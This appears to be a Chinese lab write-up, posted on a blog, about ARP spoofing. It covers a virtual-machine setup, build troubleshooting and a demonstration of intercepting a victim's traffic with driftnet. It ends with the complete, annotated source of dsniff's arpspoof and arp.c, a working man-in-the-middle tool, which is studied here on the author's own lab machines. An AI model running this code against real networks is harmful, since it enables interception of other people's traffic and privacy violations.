ARP欺骗

ArpSpoof欺骗

环境配置

  1. 安装两台虚拟机。

    • 安装的虚拟机分别为ubuntu18.04和windows10。

    • 使用ubuntu作为攻击主机,windows作为被攻击主机,宿主主机作为与被攻击主机通信的主机。

    • 两台虚拟机与主机网路连接方式为桥接网络的形式,保证上述三台主机在同一子网下的不同ip地址下。

      实例讲解虚拟机3种网络模式(桥接、nat、Host-only)

      桥接网络是指本地物理网卡和虚拟网卡通过VMnet0虚拟交换机进行桥接,物理网卡和虚拟网卡在拓扑图上处于同等地位,那么物理网卡和虚拟网卡就相当于处于同一个网段,虚拟交换机就相当于一台现实网络中的交换机,所以两个网卡的IP地址也要设置为同一网段。

  2. 安装实验所需依赖包

    sudo apt install libnet1
    sudo apt install libpcap-dev
    sudo apt install libnet1-dev
  3. 获取源码并合并成一个文件

    • 通过命令sudo apt source dsniff下载源码,将arp.c,arp.h,和arpspoof.c三个文件合并起来。
    • 去除对于dsniff目录下的version.h和config.h的依赖,见附录文件。
    • 阅读并理解该代码文件,并对文件进行注释,见附录文件。

实验内容

  1. 编译文件生成可执行文件arpspoof,其中编译命令为gcc arpspoof.c -lnet -lpcap -o arpspoof

    • 过程中遇到编译不通过,原因分别为:
      • 没有去除对于dsniff目录下其他源文件的依赖。
      • 没有指定libnet和libpcap第三方库的路径,使用编译参数-lnet -lpcap指定编译时搜索libnet和libpcap的路径。
  2. 获取当前三台主机的IP地址,查看arp表

    宿主机 IP         192.168.1.147
    ubuntu IP         192.168.1.225
    windows10虚拟机IP 192.168.1.154
  3. 运行arpspoof命令,对windows宿主机和windows虚拟机进行欺骗。

    • 出现过如下问题:
      这里写图片描述

      上述问题原因为arpspoof命令需要构建链路层包,执行该命令需要root权限,因此使用sudo执行该命令。

    • 这里写图片描述
      上述问题出现的原因为ubuntu虚拟机的网卡命名方式的改变,使用ifconfig查看ubuntu虚拟机网卡名称为enp0s3

      Predictable Network Interface Names

      Starting with v197 systemd/udev will automatically assign predictable, stable network interface names for all local Ethernet, WLAN and WWAN interfaces. This is a departure from the traditional interface naming scheme (“eth0”, “eth1”, “wlan0”, …), but should fix real problems.

    • e4

      上述问题提示不能解析该主机。查看源码中出现该问题的位置,

      8

      可知该地址不在ubuntu主机的arp缓存中,由于没有使用命令sudo echo 1 > /proc/sys/net/ipv4/ip_forward开启端口转发,开启端口转发后对ubuntu主机尝试使用ping命令,向windows宿主机和虚拟机发包,这样会发现ubuntu主机的arp缓存表中出现了两台windows的IP和Mac地址映射。

      注:

      1. 上述IP地址和2中IP地址不一样,原因为实验过程中网络环境的变化,最终结果以2为准。
    • 解决所有问题后的攻击过程。

      • 5

      上图为正在攻击时ubuntu主机的执行过程。

      • 为了证明攻击的有效性,我们打开window宿主机和虚拟机的arp缓存,发现如下结果

      3

      由图可知windows虚拟机arp缓存表中windows宿主机的硬件地址和ubuntu虚拟机的硬件地址是完全一样的,这说明win虚拟机已经错把ubuntu的mac地址放置在缓存中了。

    • 使用driftnet查看win虚拟机访问的外网图片。

      • 实现该攻击的原因是windows宿主机即为本子网的网关,win虚拟机对于外网的访问必须经过win宿主机。但是由上图可知,ubuntu对window虚拟机和宿主机进行了攻击,这使得win虚拟机的每次对外网的访问均需要经过ubuntu的偷窥。

      • 使用windows浏览器查询厦门大学,得到如下结果

      这里写图片描述

代码附录

/*
 * arp.c
 *
 * ARP cache routines.
 * 
 * Copyright (c) 1999 Dug Song <dugsong@monkey.org>
 *
 * $Id: arp.c,v 1.8 2001/03/15 08:32:58 dugsong Exp $
 */

//#include "config.h"

#include <sys/types.h>
#include <sys/param.h>
#include <sys/socket.h>//套接字相关的函数声明及结构体声明
/*
    定义sock_addr, msghdr, cmsghdr等宏
*/
#ifdef BSD
#include <sys/sysctl.h>
#include <net/if_dl.h>
#include <net/route.h>
#ifdef __FreeBSD__  /* XXX */
#define ether_addr_octet octet
#endif
#else /* !BSD */
#include <sys/ioctl.h>
#ifndef __linux__
#include <sys/sockio.h>
#endif
#endif /* !BSD */
#include <net/if.h>
#include <netinet/in_systm.h>
#include <netinet/in.h>//互联网协议及通信配置
/* 
    定义了in_port in_addr_t及sock_addr_in等结构体,
    定义了IPPIPPROTO_IP, IPPROTO_ICMP, IPPROTO_TCP,
    IPPROTO_UDP, INADDR_ANY, INADDR_BROADCAST等协议宏
    和地址类型宏。
*/
#include <netinet/if_ether.h>

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>


int arp_cache_lookup(in_addr_t ip, struct ether_addr *ether, const char* linf);
//arp缓存查找,该函数在arp缓存中查找目标ip地址的对应的mac地址,并保存到结构体ether中
#ifdef BSD//类unix操作系统下定义arp 缓存查找函数
int
arp_cache_lookup(in_addr_t ip, struct ether_addr *ether, const char* linf)
{
    int mib[6];
    size_t len;
    char *buf, *next, *end;
    struct rt_msghdr *rtm;
    struct sockaddr_inarp *sin;
    struct sockaddr_dl *sdl;

    mib[0] = CTL_NET;
    mib[1] = AF_ROUTE;
    mib[2] = 0;
    mib[3] = AF_INET;
    mib[4] = NET_RT_FLAGS;
    mib[5] = RTF_LLINFO;
    /*
        函数原型
        int sysctl(const int *name, u_int namelen, void *oldp,size_t *oldlenp, void *newp, size_t newlen); 
        sysctl函数检索系统信息并允许具有适当权限的用户设置系统信息.结果信息被复制到oldp指示的地址空间中.
        需访问和设置的内核状态在MIB(Management Information Base)中指明,即下面函数中6个int长的mib数组.
    */
    if (sysctl(mib, 6, NULL, &len, NULL, 0) < 0)
        return (-1);

    if ((buf = (char *)malloc(len)) == NULL)
        return (-1);

    if (sysctl(mib, 6, buf, &len, NULL, 0) < 0) {
        free(buf);
        return (-1);
    }
    //访问内核状态和信息成功
    end = buf + len;
    //遍历查找表项中对应IP地址的mac地址
    for (next = buf ; next < end ; next += rtm->rtm_msglen) {
        rtm = (struct rt_msghdr *)next;
        sin = (struct sockaddr_inarp *)(rtm + 1);
        sdl = (struct sockaddr_dl *)(sin + 1);
        //如果s_addr和查找的IP地址相等且sdl_alen长度不为零,找到
        if (sin->sin_addr.s_addr == ip && sdl->sdl_alen) {
            memcpy(ether->ether_addr_octet, LLADDR(sdl),
                   ETHER_ADDR_LEN);
            free(buf);
            return (0);
        }
    }
    free(buf);//释放前面分配的缓存空间

    return (-1);
}

#else /* !BSD */

#ifndef ETHER_ADDR_LEN  /* XXX - Solaris */
#define ETHER_ADDR_LEN  6
#endif

int
arp_cache_lookup(in_addr_t ip, struct ether_addr *ether, const char* lif)
{
    int sock;
    struct arpreq ar;
    struct sockaddr_in *sin;

    memset((char *)&ar, 0, sizeof(ar));
#ifdef __linux__
    strncpy(ar.arp_dev, lif, strlen(lif));
#endif
    sin = (struct sockaddr_in *)&ar.arp_pa;
    sin->sin_family = AF_INET;
    sin->sin_addr.s_addr = ip;
    /*
        函数原型: int socket(int domain,int type,int protocol)
        domain:协议类型,一般为AF_INET type:socket类型 
        protocol:用来指定socket所使用的传输协议编号,通常设为0即可
    */
    if ((sock = socket(AF_INET, SOCK_DGRAM, 0)) == -1) {
        return (-1);
    }
    if (ioctl(sock, SIOCGARP, (caddr_t)&ar) == -1) {
        close(sock);
        return (-1);
    }
    close(sock);
    //设置ether_addr_octec的值为ar.arp_ha.sa_data
    memcpy(ether->ether_addr_octet, ar.arp_ha.sa_data, ETHER_ADDR_LEN);

    return (0);
}

#endif /* !BSD */

/*
 * arpspoof.c
 *
 * Redirect packets from a target host (or from all hosts) intended for
 * another host on the LAN to ourselves.
 * 
 * Copyright (c) 1999 Dug Song <dugsong@monkey.org>
 *
 * $Id: arpspoof.c,v 1.5 2001/03/15 08:32:58 dugsong Exp $
 *
 * Improved 2011 by Stefan Tomanek <stefa@pico.ruhr.de>
 */

// #include "config.h"

#include <sys/types.h>
#include <sys/param.h>
#include <netinet/in.h>

// #include <stdio.h>
// #include <string.h>
#include <signal.h>
#include <err.h>
#include <libnet.h>
#include <pcap.h>

// #include "arp.h"
// #include "version.h"

//函数将48位的Ethernet 数字转换成对应的ascii表示形式
extern char *ether_ntoa(struct ether_addr *);

struct host {
    in_addr_t ip;
    struct ether_addr mac;
};

static libnet_t *l;
static struct host spoof = {0};
static struct host *targets;
static char *intf;
static int poison_reverse;

static uint8_t *my_ha = NULL;
static uint8_t *brd_ha = "\xff\xff\xff\xff\xff\xff";

static int cleanup_src_own = 1;
static int cleanup_src_host = 0;

static void
usage(void)
{
    //fprintf(stderr, "Version: " VERSION "\n"
    //  "Usage: arpspoof [-i interface] [-c own|host|both] [-t target] [-r] host\n");
    fprintf(stderr, "Version: No version code\n"
        "Usage: arpspoof [-i interface] [-c own|host|both] [-t target] [-r] host\n");
    exit(1);
}


/*该函数构建arp包并且发送给指定目标ip地址
其中参数指定了
    链路层接口   llif
    网络设备名称 dev 
    arp包操作 op
    源硬件地址 sha
    源ip地址 spa
    目的硬件地址 tha
    目的ip地址 tpa
*/
static int
arp_send(libnet_t *l, int op,
    u_int8_t *sha, in_addr_t spa,
    u_int8_t *tha, in_addr_t tpa,
    u_int8_t *me)
{
    int retval;

    if (!me) me = sha;

    /*libnet_autobuild_arp函数,功能为构造arp数据包    */
    libnet_autobuild_arp(op, sha, (u_int8_t *)&spa,
                 tha, (u_int8_t *)&tpa, l);
    /*libnet_build_ethernet函数,功能为构造一个以太网数据包*/
    libnet_build_ethernet(tha, me, ETHERTYPE_ARP, NULL, 0, l, 0);

    fprintf(stderr, "%s ",
        ether_ntoa((struct ether_addr *)me));
    //消息回显
    //arp请求操作,错误输出发出arp请求的消息内容
    //否则返回reply消息内容
    if (op == ARPOP_REQUEST) {
        fprintf(stderr, "%s 0806 42: arp who-has %s tell %s\n",
            ether_ntoa((struct ether_addr *)tha),
            libnet_addr2name4(tpa, LIBNET_DONT_RESOLVE),
            libnet_addr2name4(spa, LIBNET_DONT_RESOLVE));
    }
    else {
        fprintf(stderr, "%s 0806 42: arp reply %s is-at ",
            ether_ntoa((struct ether_addr *)tha),
            libnet_addr2name4(spa, LIBNET_DONT_RESOLVE));
        fprintf(stderr, "%s\n",
            ether_ntoa((struct ether_addr *)sha));
    }
    retval = libnet_write(l);
    if (retval)
        fprintf(stderr, "%s", libnet_geterror(l));

    libnet_clear_packet(l);

    return retval;
}

#ifdef __linux__//linux专用的arp_force函数
static int
arp_force(in_addr_t dst)
{
    struct sockaddr_in sin;
    int i, fd;

    if ((fd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) < 0)
        return (0);

    memset(&sin, 0, sizeof(sin));
    sin.sin_family = AF_INET;
    sin.sin_addr.s_addr = dst;
    sin.sin_port = htons(67);

    i = sendto(fd, NULL, 0, 0, (struct sockaddr *)&sin, sizeof(sin));

    close(fd);

    return (i == 0);
}
#endif

static int
arp_find(in_addr_t ip, struct ether_addr *mac)
{
    int i = 0;

    do {
        if (arp_cache_lookup(ip, mac, intf) == 0)
            return (1);
#ifdef __linux__
        /* XXX - force the kernel to arp. feh. */
        arp_force(ip);
#else
        arp_send(l, ARPOP_REQUEST, NULL, 0, NULL, ip, NULL);
#endif
        sleep(1);
    }
    while (i++ < 3);

    return (0);
}

static int arp_find_all() {
    struct host *target = targets;
    while(target->ip) {
        if (arp_find(target->ip, &target->mac)) {
            return 1;
        }
        target++;
    }

    return 0;
}

static void
cleanup(int sig)
{
    int fw = arp_find(spoof.ip, &spoof.mac);
    int bw = poison_reverse && targets[0].ip && arp_find_all();
    int i;
    int rounds = (cleanup_src_own*5 + cleanup_src_host*5);

    fprintf(stderr, "Cleaning up and re-arping targets...\n");

    //清理时不做欺骗形式的arp应答,即reply应答都是正确的
    for (i = 0; i < rounds; i++) {
        struct host *target = targets;
        //对于目标中的每个IP,均做rounds遍清理操作
        while(target->ip) {
            uint8_t *src_ha = NULL;
            if (cleanup_src_own && (i%2 || !cleanup_src_host)) {
                src_ha = my_ha;
            }
            /* XXX - on BSD, requires ETHERSPOOF kernel. */
            if (fw) {
                //正确的应答
                arp_send(l, ARPOP_REPLY,
                     (u_int8_t *)&spoof.mac, spoof.ip,
                     (target->ip ? (u_int8_t *)&target->mac : brd_ha),
                     target->ip,
                     src_ha);
                /* we have to wait a moment before sending the next packet */
                sleep(1);
            }
            if (bw) {
                //正确的反向应答
                arp_send(l, ARPOP_REPLY,
                     (u_int8_t *)&target->mac, target->ip,
                     (u_int8_t *)&spoof.mac,
                     spoof.ip,
                     src_ha);
                sleep(1);
            }
            target++;
        }
    }

    exit(0);
}

int
main(int argc, char *argv[])
{
    extern char *optarg;//选项的参数指针
    extern int optind; //下一次调用getopt时,从optind存储的位置处检查选项
    char pcap_ebuf[PCAP_ERRBUF_SIZE];
    char libnet_ebuf[LIBNET_ERRBUF_SIZE];
    int c;
    int n_targets;
    char *cleanup_src = NULL;

    spoof.ip = 0;
    intf = NULL;
    poison_reverse = 0;
    n_targets = 0;

    /* allocate enough memory for target list */
    targets = calloc( argc+1, sizeof(struct host) );

    if ((l = libnet_init(LIBNET_LINK, NULL, libnet_ebuf)) == NULL)
        errx(1, "%s", libnet_ebuf);

    //输入参数解析代码
    while ((c = getopt(argc, argv, "ri:t:c:h?V")) != -1) {
        switch (c) {
        case 'i':
            intf = optarg;
            break;
        case 't':
            //对于每个被欺骗对象,需要在该ip前指定参数为目标 -t XXXX
            if ((targets[n_targets++].ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1)
                usage();
            break;
        case 'r':
            poison_reverse = 1;
            break;
        case 'c':
            cleanup_src = optarg;
            break;
        default:
            usage();
        }
    }
    argc -= optind; //参数个数减少optind
    argv += optind; //指针位置增加optind

    if (argc != 1)
        usage();

    if (poison_reverse && !n_targets) {
        errx(1, "Spoofing the reverse path (-r) is only available when specifying a target (-t).");
        usage();
    }

    //
    if (!cleanup_src || strcmp(cleanup_src, "own")==0) { /* default! */
        /* only use our own hw address when cleaning up,
         * not jeopardizing any bridges on the way to our
         * target
         */
        cleanup_src_own = 1;
        cleanup_src_host = 0;
    } else if (strcmp(cleanup_src, "host")==0) {
        /* only use the target hw address when cleaning up;
         * this can screw up some bridges and scramble access
         * for our own host, however it resets the arp table
         * more reliably
         */
        cleanup_src_own = 0;
        cleanup_src_host = 1;
    } else if (strcmp(cleanup_src, "both")==0) {
        cleanup_src_own = 1;
        cleanup_src_host = 1;
    } else {
        errx(1, "Invalid parameter to -c: use 'own' (default), 'host' or 'both'.");
        usage();
    }

    //spoofip是参数中的最后一个IP地址参数. 例如使用arpspoof -i -t target1 -t target2 spoofip
    //arp欺骗时向target发送arp应答:spoofip的mac地址为本机硬件地址
    if ((spoof.ip = libnet_name2addr4(l, argv[0], LIBNET_RESOLVE)) == -1)
        usage();

    libnet_destroy(l);

    if (intf == NULL && (intf = pcap_lookupdev(pcap_ebuf)) == NULL)
        errx(1, "%s", pcap_ebuf);

    if ((l = libnet_init(LIBNET_LINK, intf, libnet_ebuf)) == NULL)
        errx(1, "%s", libnet_ebuf);

    struct host *target = targets;
    //实验过程中遇到该问题,arp缓存中没有找到该转发项,原因是没打开ip转发
    while(target->ip) {
        //欺骗的target均必须出现在本机的arp缓存中
        if (target->ip != 0 && !arp_find(target->ip, &target->mac))
            errx(1, "couldn't arp for host %s",
            libnet_addr2name4(target->ip, LIBNET_DONT_RESOLVE));
        target++;
    }

    if (poison_reverse) {
        if (!arp_find(spoof.ip, &spoof.mac)) {
            errx(1, "couldn't arp for spoof host %s",
                 libnet_addr2name4(spoof.ip, LIBNET_DONT_RESOLVE));
        }
    }

    if ((my_ha = (u_int8_t *)libnet_get_hwaddr(l)) == NULL) {
        errx(1, "Unable to determine own mac address");
    }

    //当程序收到SIGHUP, SIGINT, 和SIGTERM信号时,调用cleanup函数取消欺骗动作
    signal(SIGHUP, cleanup);
    signal(SIGINT, cleanup);
    signal(SIGTERM, cleanup);
    //程序死循环发送arp应答,持续攻击被攻击者,向其发送arp应答,实现arp欺骗.
    for (;;) {
    if (!n_targets) {
      arp_send(l, ARPOP_REPLY, my_ha, spoof.ip, brd_ha, 0, my_ha);
    } else {
        struct host *target = targets;
        //对于每个target,均实施针对spoof ip的欺骗应答
        while(target->ip) {
            //提供的mac地址为my_ha,arp_send函数自动获取本机硬件地址填入arp应答包, 以此欺骗被攻击者
            arp_send(l, ARPOP_REPLY, my_ha, spoof.ip,
                (target->ip ? (u_int8_t *)&target->mac : brd_ha),
                target->ip,
                my_ha);
            printf("hello arpspoofing\n");//消息回显
            if (poison_reverse) {
                arp_send(l, ARPOP_REPLY, my_ha, target->ip, (uint8_t *)&spoof.mac, spoof.ip, my_ha);
            }
            target++;
        }
    }

        sleep(2);
    }
    /* NOTREACHED */

    exit(0);
}
  • 1
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值